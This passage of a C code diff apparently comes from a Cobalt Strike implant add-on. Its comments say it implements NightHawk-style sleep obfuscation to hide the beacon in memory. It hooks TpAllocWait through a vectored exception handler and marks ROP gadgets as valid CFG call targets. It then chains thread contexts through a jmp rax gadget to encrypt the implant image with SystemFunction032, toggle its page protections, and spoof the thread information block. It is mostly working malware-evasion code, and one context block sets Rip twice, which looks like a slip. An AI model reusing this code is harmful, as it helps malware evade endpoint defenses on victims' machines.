| 585 | + | if ( NT_SUCCESS( EnableBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) { |
| 586 | + | /* Call the API, which will then 'hooked' */ |
| 587 | + | Nst = Api.RtlRegisterWait( NewWaitObject, Object, Callback, Context, Milliseconds, Flags ); |
| 588 | + | |
| 589 | + | /* 'Remove' the breakpoint */ |
| 590 | + | RemoveBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ); |
| 591 | + | }; |
| 592 | + | /* Remove the VEH handler */ |
| 593 | + | Api.RtlRemoveVectoredExceptionHandler( Veh ); |
| 594 | + | }; |
| 595 | + | |
| 596 | + | /* Zero out stack structures */ |
| 597 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 598 | + | |
| 599 | + | /* Status */ |
| 600 | + | return Nst; |
| 601 | + | }; |
| 602 | + | |
| 603 | + | /*! |
| 604 | + | * |
| 605 | + | * Purpose: |
| 606 | + | * |
| 607 | + | * Adds a ROP gadget to the CFG exception list to |
| 608 | + | * permit ROP gadgets from being marked as an |
| 609 | + | * invalid target. |
| 610 | + | * |
| 611 | + | !*/ |
| 612 | + | static D_SEC( E ) VOID CfgEnableFunc( _In_ PVOID ImageBase, _In_ PVOID Function ) |
| 613 | + | { |
| 614 | + | CFG_API Api; |
| 615 | + | CFG_CALL_TARGET_INFO Cfg; |
| 616 | + | |
| 617 | + | SIZE_T Len = 0; |
| 618 | + | |
| 619 | + | PVOID Kbs = NULL; |
| 620 | + | PIMAGE_DOS_HEADER Dos = NULL; |
| 621 | + | PIMAGE_NT_HEADERS Nth = NULL; |
| 622 | + | |
| 623 | + | /* Zero out stack structures */ |
| 624 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 625 | + | RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) ); |
| 626 | + | |
| 627 | + | Dos = C_PTR( ImageBase ); |
| 628 | + | Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); |
| 629 | + | Len = U_PTR( ( Nth->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ); |
| 630 | + | |
| 631 | + | if ( ( Kbs = PebGetModule( H_LIB_KERNELBASE ) ) != NULL ) { |
| 632 | + | Api.SetProcessValidCallTargets = PeGetFuncEat( Kbs, H_API_SETPROCESSVALIDCALLTARGETS ); |
| 633 | + | |
| 634 | + | if ( Api.SetProcessValidCallTargets != NULL ) { |
| 635 | + | Cfg.Flags = CFG_CALL_TARGET_VALID; |
| 636 | + | Cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase ); |
| 637 | + | |
| 638 | + | Api.SetProcessValidCallTargets( NtCurrentProcess(), Dos, Len, 1, &Cfg ); |
| 639 | + | }; |
| 640 | + | }; |
| 641 | + | |
| 642 | + | /* Zero out stack structures */ |
| 643 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 644 | + | RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) ); |
| 645 | + | }; |
| 646 | + | |
| 647 | + | /*! |
| 648 | + | * |
| 649 | + | * Purpose: |
| 650 | + | * |
| 651 | + | * Uses NightHawk's Obfuscate/Sleep implementation to |
| 652 | + | * hide traces of Cobalt Strike in memory. Temporary |
| 653 | + | * version, limited to x86_64 currently. Blocks on a |
| 654 | + | * 'handle' to wait on. |
| 655 | + | * |
| 656 | + | !*/ |
| 657 | + | static D_SEC( E ) VOID WINAPI ObfSleepFiber( _In_ PFIBER_PARAM Parameter ) |
| 658 | + | { |
| 659 | + | API Api; |
| 660 | + | UCHAR Rnd[ 16 ]; |
| 661 | + | NT_TIB Oli; |
| 662 | + | NT_TIB Nwi; |
| 663 | + | USTRING Key; |
| 664 | + | USTRING Buf; |
| 665 | + | CONTEXT Ctx; |
| 666 | + | ANSI_STRING Ani; |
| 667 | + | UNICODE_STRING Uni; |
| 668 | + | |
| 669 | + | DWORD Prt = 0; |
| 670 | + | DWORD Del = 0; |
| 671 | + | SIZE_T XLn = 0; |
| 672 | + | SIZE_T FLn = 0; |
| 673 | + | |
| 674 | + | PVOID Ev1 = NULL; |
| 675 | + | PVOID Ev2 = NULL; |
| 676 | + | PVOID Ev3 = NULL; |
| 677 | + | PVOID Ev4 = NULL; |
| 678 | + | PVOID K32 = NULL; |
| 679 | + | PVOID Adv = NULL; |
| 680 | + | PVOID Img = NULL; |
| 681 | + | PVOID Que = NULL; |
| 682 | + | |
| 683 | + | PVOID Cln = NULL; |
| 684 | + | PVOID Pol = NULL; |
| 685 | + | |
| 686 | + | PVOID Gdg = NULL; |
| 687 | + | |
| 688 | + | HANDLE Src = NULL; |
| 689 | + | PTABLE Tbl = NULL; |
| 690 | + | PCONTEXT Cap = NULL; |
| 691 | + | PCONTEXT Beg = NULL; |
| 692 | + | PCONTEXT Set = NULL; |
| 693 | + | PCONTEXT Enc = NULL; |
| 694 | + | PCONTEXT Gt1 = NULL; |
| 695 | + | PCONTEXT Cp1 = NULL; |
| 696 | + | PCONTEXT Cp2 = NULL; |
| 697 | + | PCONTEXT St1 = NULL; |
| 698 | + | PCONTEXT Sev = NULL; |
| 699 | + | PCONTEXT Blk = NULL; |
| 700 | + | PCONTEXT Cp3 = NULL; |
| 701 | + | PCONTEXT St2 = NULL; |
| 702 | + | PCONTEXT Dec = NULL; |
| 703 | + | PCONTEXT Res = NULL; |
| 704 | + | PCONTEXT End = NULL; |
| 705 | + | |
| 706 | + | /* Zero out stack structures */ |
| 707 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 708 | + | RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) ); |
| 709 | + | RtlSecureZeroMemory( &Oli, sizeof( Oli ) ); |
| 710 | + | RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) ); |
| 711 | + | RtlSecureZeroMemory( &Key, sizeof( Key ) ); |
| 712 | + | RtlSecureZeroMemory( &Buf, sizeof( Buf ) ); |
| 713 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 714 | + | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); |
| 715 | + | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); |
| 716 | + | |
| 717 | + | Api.NtSignalAndWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT ); |
| 718 | + | Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); |
| 719 | + | Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT ); |
| 720 | + | Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING ); |
| 721 | + | Api.RtlCopyMappedMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCOPYMAPPEDMEMORY ); |
| 722 | + | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); |
| 723 | + | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); |
| 724 | + | Api.RtlDeregisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLDEREGISTERWAIT ); |
| 725 | + | Api.RtlCaptureContext = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCAPTURECONTEXT ); |
| 726 | + | Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); |
| 727 | + | Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT ); |
| 728 | + | Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD ); |
| 729 | + | Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); |
| 730 | + | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); |
| 731 | + | Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT ); |
| 732 | + | Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL ); |
| 733 | + | Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP ); |
| 734 | + | Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); |
| 735 | + | Api.NtContinue = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCONTINUE ); |
| 736 | + | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); |
| 737 | + | |
| 738 | + | /* Load kernel32.dll if it somehow isnt already! */ |
| 739 | + | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) ); |
| 740 | + | |
| 741 | + | if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &K32 ) ) ) { |
| 742 | + | |
| 743 | + | Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"advapi32.dll" ) ) ); |
| 744 | + | |
| 745 | + | if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &Adv ) ) ) { |
| 746 | + | |
| 747 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpoolCleanupGroupMembers" ) ) ); |
| 748 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpoolCleanupGroupMembers ); |
| 749 | + | |
| 750 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpoolCleanupGroup" ) ) ); |
| 751 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateThreadpoolCleanupGroup ); |
| 752 | + | |
| 753 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMaximum" ) ) ); |
| 754 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMaximum ); |
| 755 | + | |
| 756 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMinimum" ) ) ); |
| 757 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMinimum ); |
| 758 | + | |
| 759 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "WaitForSingleObjectEx" ) ) ); |
| 760 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.WaitForSingleObjectEx ); |
| 761 | + | |
| 762 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SystemFunction032" ) ) ); |
| 763 | + | Api.LdrGetProcedureAddress( Adv, &Ani, 0, &Api.SystemFunction032 ); |
| 764 | + | |
| 765 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpool" ) ) ); |
| 766 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateThreadpool ); |
| 767 | + | |
| 768 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpool" ) ) ); |
| 769 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpool ); |
| 770 | + | |
| 771 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "VirtualProtect" ) ) ); |
| 772 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.VirtualProtect ); |
| 773 | + | |
| 774 | + | Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetEvent" ) ) ); |
| 775 | + | Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetEvent ); |
| 776 | + | |
| 777 | + | /* Get the hook length + DLL Length */ |
| 778 | + | Tbl = C_PTR( G_SYM( Table ) ); |
| 779 | + | Img = C_PTR( Tbl->Table->RxBuffer ); |
| 780 | + | XLn = U_PTR( Tbl->Table->RxLength ); |
| 781 | + | FLn = U_PTR( Tbl->Table->ImageLength ); |
| 782 | + | |
| 783 | + | RandomString( &Rnd, sizeof( Rnd ) ); |
| 784 | + | |
| 785 | + | Key.Buffer = C_PTR( &Rnd ); |
| 786 | + | Key.Length = Key.MaximumLength = sizeof( Rnd ); |
| 787 | + | |
| 788 | + | Buf.Buffer = C_PTR( Tbl->Table->RxBuffer ); |
| 789 | + | Buf.Length = Buf.MaximumLength = Tbl->Table->ImageLength; |
| 790 | + | |
| 791 | + | do { |
| 792 | + | /* Create synchronization event 1 */ |
| 793 | + | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 794 | + | /* Abort! */ |
| 795 | + | break; |
| 796 | + | }; |
| 797 | + | /* Create synchronization event 2 */ |
| 798 | + | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 799 | + | /* Abort! */ |
| 800 | + | break; |
| 801 | + | }; |
| 802 | + | /* Create synchronization event 3 */ |
| 803 | + | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev3, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 804 | + | /* Abort! */ |
| 805 | + | break; |
| 806 | + | }; |
| 807 | + | /* Create synchronization event 4 */ |
| 808 | + | if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev4, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { |
| 809 | + | /* Abort! */ |
| 810 | + | break; |
| 811 | + | }; |
| 812 | + | |
| 813 | + | /* Initialize the thread pool environment */ |
| 814 | + | InitializeThreadpoolEnvironment( &Tbl->Table->Debugger.PoolEnv ); |
| 815 | + | |
| 816 | + | /* Create the thread pool the timer will use */ |
| 817 | + | if ( !( Pol = Api.CreateThreadpool( NULL ) ) ) { |
| 818 | + | /* Abort! */ |
| 819 | + | break; |
| 820 | + | }; |
| 821 | + | |
| 822 | + | /* Create the cleanup group to free memory */ |
| 823 | + | if ( !( Cln = Api.CreateThreadpoolCleanupGroup() ) ) { |
| 824 | + | /* Abort! */ |
| 825 | + | break; |
| 826 | + | }; |
| 827 | + | |
| 828 | + | /* Set the minimum and maximum the thread pool uses */ |
| 829 | + | Api.SetThreadpoolThreadMaximum( Pol, 1 ); |
| 830 | + | if ( ! Api.SetThreadpoolThreadMinimum( Pol, 1 ) ) { |
| 831 | + | /* Abort! */ |
| 832 | + | break; |
| 833 | + | }; |
| 834 | + | |
| 835 | + | /* Initialize the pool environment information */ |
| 836 | + | SetThreadpoolCallbackPool( & Tbl->Table->Debugger.PoolEnv, Pol ); |
| 837 | + | SetThreadpoolCallbackCleanupGroup( & Tbl->Table->Debugger.PoolEnv, Cln, NULL ); |
| 838 | + | |
| 839 | + | /* Flags to query for! */ |
| 840 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 841 | + | |
| 842 | + | /* Create the first time and spawn the new thread */ |
| 843 | + | if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.RtlCaptureContext, &Ctx, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) { |
| 844 | + | if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.SetEvent, Ev1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) { |
| 845 | + | if ( NT_SUCCESS( Api.NtWaitForSingleObject( Ev1, FALSE, NULL ) ) ) { |
| 846 | + | if ( !( Cap = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 847 | + | /* Abort! */ |
| 848 | + | break; |
| 849 | + | }; |
| 850 | + | if ( !( Beg = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 851 | + | /* Abort! */ |
| 852 | + | break; |
| 853 | + | }; |
| 854 | + | if ( !( Set = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 855 | + | /* Abort! */ |
| 856 | + | break; |
| 857 | + | }; |
| 858 | + | if ( !( Enc = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 859 | + | /* Abort! */ |
| 860 | + | break; |
| 861 | + | }; |
| 862 | + | if ( !( Gt1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 863 | + | /* Abort! */ |
| 864 | + | break; |
| 865 | + | }; |
| 866 | + | if ( !( Cp1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 867 | + | /* Abort! */ |
| 868 | + | break; |
| 869 | + | }; |
| 870 | + | if ( !( Cp2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 871 | + | /* Abort! */ |
| 872 | + | break; |
| 873 | + | }; |
| 874 | + | if ( !( St1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 875 | + | /* Abort! */ |
| 876 | + | break; |
| 877 | + | }; |
| 878 | + | if ( !( Sev = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 879 | + | /* Abort! */ |
| 880 | + | break; |
| 881 | + | }; |
| 882 | + | if ( !( Blk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 883 | + | /* Abort! */ |
| 884 | + | break; |
| 885 | + | }; |
| 886 | + | if ( !( Cp3 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 887 | + | /* Abort! */ |
| 888 | + | break; |
| 889 | + | }; |
| 890 | + | if ( !( St2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 891 | + | /* Abort! */ |
| 892 | + | break; |
| 893 | + | }; |
| 894 | + | if ( !( Dec = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 895 | + | /* Abort! */ |
| 896 | + | break; |
| 897 | + | }; |
| 898 | + | if ( !( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 899 | + | /* Abort! */ |
| 900 | + | break; |
| 901 | + | }; |
| 902 | + | if ( !( End = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) { |
| 903 | + | /* Abort! */ |
| 904 | + | break; |
| 905 | + | }; |
| 906 | + | |
| 907 | + | /* Get the address of the jmp rax gadget */ |
| 908 | + | if ( ( Gdg = GetJmpRaxTarget( ) ) != NULL ) { |
| 909 | + | |
| 910 | + | /* Copy the old NT_TIB structure into a stack var */ |
| 911 | + | __builtin_memcpy( &Oli, & NtCurrentTeb()->NtTib, sizeof( NT_TIB ) ); |
| 912 | + | |
| 913 | + | /* Extract the NT_TIB structure from our thread pool thread */ |
| 914 | + | if ( GetThreadInfoBlockFromStack( Ctx.Rsp, &Nwi ) ) { |
| 915 | + | /* Duplicate a handle to our current thread. */ |
| 916 | + | if ( NT_SUCCESS( Api.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &Src, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) { |
| 917 | + | |
| 918 | + | /* Enable CFG on the target function in case its blacklisted */ |
| 919 | + | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtContinue ); |
| 920 | + | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtResumeThread ); |
| 921 | + | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtGetContextThread ); |
| 922 | + | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtSetContextThread ); |
| 923 | + | CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.RtlCopyMappedMemory ); |
| 924 | + | |
| 925 | + | /* WaitForSingleObjectEx */ |
| 926 | + | __builtin_memcpy( Beg, &Ctx, sizeof( CONTEXT ) ); |
| 927 | + | Beg->ContextFlags = CONTEXT_FULL; |
| 928 | + | Beg->Rip = U_PTR( Gdg ); |
| 929 | + | Beg->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 930 | + | Beg->Rax = U_PTR( Api.WaitForSingleObjectEx ); |
| 931 | + | Beg->Rcx = U_PTR( Ev2 ); |
| 932 | + | Beg->Rdx = U_PTR( INFINITE ); |
| 933 | + | Beg->R8 = U_PTR( FALSE ); |
| 934 | + | |
| 935 | + | /* VirtualProtect */ |
| 936 | + | __builtin_memcpy( Set, &Ctx, sizeof( CONTEXT ) ); |
| 937 | + | Set->ContextFlags = CONTEXT_FULL; |
| 938 | + | Set->Rip = U_PTR( Gdg ); |
| 939 | + | Set->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 940 | + | Set->Rax = U_PTR( Api.VirtualProtect ); |
| 941 | + | Set->Rcx = U_PTR( Img ); |
| 942 | + | Set->Rdx = U_PTR( XLn ); |
| 943 | + | Set->R8 = U_PTR( PAGE_READWRITE ); |
| 944 | + | Set->R9 = U_PTR( &Prt ); |
| 945 | + | |
| 946 | + | /* SystemFunction032 */ |
| 947 | + | __builtin_memcpy( Enc, &Ctx, sizeof( CONTEXT ) ); |
| 948 | + | Enc->ContextFlags = CONTEXT_FULL; |
| 949 | + | Enc->Rip = U_PTR( Gdg ); |
| 950 | + | Enc->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 951 | + | Enc->Rax = U_PTR( Api.SystemFunction032 ); |
| 952 | + | Enc->Rcx = U_PTR( &Buf ); |
| 953 | + | Enc->Rdx = U_PTR( &Key ); |
| 954 | + | |
| 955 | + | /* NtGetContextThread */ |
| 956 | + | __builtin_memcpy( Gt1, &Ctx, sizeof( CONTEXT ) ); |
| 957 | + | Gt1->ContextFlags = CONTEXT_FULL; |
| 958 | + | Cap->ContextFlags = CONTEXT_FULL; |
| 959 | + | Gt1->Rip = U_PTR( Gdg ); |
| 960 | + | Gt1->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 961 | + | Gt1->Rax = U_PTR( Api.NtGetContextThread ); |
| 962 | + | Gt1->Rcx = U_PTR( Src ); |
| 963 | + | Gt1->Rdx = U_PTR( Cap ); |
| 964 | + | |
| 965 | + | /* RtlCopyMappedMemory */ |
| 966 | + | __builtin_memcpy( Cp1, &Ctx, sizeof( CONTEXT ) ); |
| 967 | + | Cp1->ContextFlags = CONTEXT_FULL; |
| 968 | + | Cp1->Rip = U_PTR( Gdg ); |
| 969 | + | Cp1->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 970 | + | Cp1->Rip = U_PTR( Api.RtlCopyMappedMemory ); |
| 971 | + | Cp1->Rcx = U_PTR( & Ctx.Rip ); |
| 972 | + | Cp1->Rdx = U_PTR( & Cap->Rip ); |
| 973 | + | Cp1->R8 = U_PTR( sizeof( PVOID ) ); |
| 974 | + | |
| 975 | + | /* RtlCopyMappedMemory */ |
| 976 | + | __builtin_memcpy( Cp2, &Ctx, sizeof( CONTEXT ) ); |
| 977 | + | Cp2->ContextFlags = CONTEXT_FULL; |
| 978 | + | Cp2->Rip = U_PTR( Gdg ); |
| 979 | + | Cp2->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 980 | + | Cp2->Rax = U_PTR( Api.RtlCopyMappedMemory ); |
| 981 | + | Cp2->Rcx = U_PTR( & NtCurrentTeb()->NtTib ); |
| 982 | + | Cp2->Rdx = U_PTR( & Nwi ); |
| 983 | + | Cp2->R8 = U_PTR( sizeof( NT_TIB ) ); |
| 984 | + | |
| 985 | + | /* NtSetContextThread */ |
| 986 | + | __builtin_memcpy( St1, &Ctx, sizeof( CONTEXT ) ); |
| 987 | + | St1->ContextFlags = CONTEXT_FULL; |
| 988 | + | St1->Rip = U_PTR( Gdg ); |
| 989 | + | St1->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 990 | + | St1->Rax = U_PTR( Api.NtSetContextThread ); |
| 991 | + | St1->Rcx = U_PTR( Src ); |
| 992 | + | St1->Rdx = U_PTR( & Ctx ); |
| 993 | + | |
| 994 | + | /* NtResumeThread */ |
| 995 | + | __builtin_memcpy( Sev, &Ctx, sizeof( CONTEXT ) ); |
| 996 | + | Sev->ContextFlags = CONTEXT_FULL; |
| 997 | + | Sev->Rip = U_PTR( Gdg ); |
| 998 | + | Sev->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 999 | + | Sev->Rax = U_PTR( Api.NtResumeThread ); |
| 1000 | + | Sev->Rcx = U_PTR( Parameter->Thread ); |
| 1001 | + | Sev->Rdx = U_PTR( NULL ); |
| 1002 | + | |
| 1003 | + | /* WaitForSingleObjectEx */ |
| 1004 | + | __builtin_memcpy( Blk, &Ctx, sizeof( CONTEXT ) ); |
| 1005 | + | Blk->ContextFlags = CONTEXT_FULL; |
| 1006 | + | Blk->Rip = U_PTR( Gdg ); |
| 1007 | + | Blk->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1008 | + | Blk->Rax = U_PTR( Api.WaitForSingleObjectEx ); |
| 1009 | + | Blk->Rcx = U_PTR( Parameter->Thread ); |
| 1010 | + | Blk->Rdx = U_PTR( INFINITE ); |
| 1011 | + | Blk->R8 = U_PTR( FALSE ); |
| 1012 | + | |
| 1013 | + | /* RtlCopyMappedMemory */ |
| 1014 | + | __builtin_memcpy( Cp3, &Ctx, sizeof( CONTEXT ) ); |
| 1015 | + | Cp3->ContextFlags = CONTEXT_FULL; |
| 1016 | + | Cp3->Rip = U_PTR( Gdg ); |
| 1017 | + | Cp3->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1018 | + | Cp3->Rax = U_PTR( Api.RtlCopyMappedMemory ); |
| 1019 | + | Cp3->Rcx = U_PTR( & NtCurrentTeb()->NtTib ); |
| 1020 | + | Cp3->Rdx = U_PTR( & Oli ); |
| 1021 | + | Cp3->R8 = U_PTR( sizeof( NT_TIB ) ); |
| 1022 | + | |
| 1023 | + | /* NtSetContextThread */ |
| 1024 | + | __builtin_memcpy( St2, &Ctx, sizeof( CONTEXT ) ); |
| 1025 | + | St2->ContextFlags = CONTEXT_FULL; |
| 1026 | + | Cap->ContextFlags = CONTEXT_FULL; |
| 1027 | + | St2->Rip = U_PTR( Gdg ); |
| 1028 | + | St2->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1029 | + | St2->Rax = U_PTR( Api.NtSetContextThread ); |
| 1030 | + | St2->Rcx = U_PTR( Src ); |
| 1031 | + | St2->Rdx = U_PTR( Cap ); |
| 1032 | + | |
| 1033 | + | /* SystemFunction032 */ |
| 1034 | + | __builtin_memcpy( Dec, &Ctx, sizeof( CONTEXT ) ); |
| 1035 | + | Dec->ContextFlags = CONTEXT_FULL; |
| 1036 | + | Dec->Rip = U_PTR( Gdg ); |
| 1037 | + | Dec->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1038 | + | Dec->Rax = U_PTR( Api.SystemFunction032 ); |
| 1039 | + | Dec->Rcx = U_PTR( &Buf ); |
| 1040 | + | Dec->Rdx = U_PTR( &Key ); |
| 1041 | + | |
| 1042 | + | /* VirtualProtect */ |
| 1043 | + | __builtin_memcpy( Res, &Ctx, sizeof( CONTEXT ) ); |
| 1044 | + | Res->ContextFlags = CONTEXT_FULL; |
| 1045 | + | Res->Rip = U_PTR( Gdg ); |
| 1046 | + | Res->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1047 | + | Res->Rax = U_PTR( Api.VirtualProtect ); |
| 1048 | + | Res->Rcx = U_PTR( Img ); |
| 1049 | + | Res->Rdx = U_PTR( XLn ); |
| 1050 | + | Res->R8 = U_PTR( PAGE_EXECUTE_READ ); |
| 1051 | + | Res->R9 = U_PTR( &Prt ); |
| 1052 | + | |
| 1053 | + | /* SetEvent */ |
| 1054 | + | __builtin_memcpy( End, &Ctx, sizeof( CONTEXT ) ); |
| 1055 | + | End->ContextFlags = CONTEXT_FULL; |
| 1056 | + | End->Rip = U_PTR( Gdg ); |
| 1057 | + | End->Rsp -= U_PTR( sizeof( PVOID ) ); |
| 1058 | + | End->Rax = U_PTR( Api.SetEvent ); |
| 1059 | + | End->Rcx = U_PTR( Ev3 ); |
| 1060 | + | |
| 1061 | + | /* Query all the API calls in the order in which they need to run */ |
| 1062 | + | if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Beg, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break; |
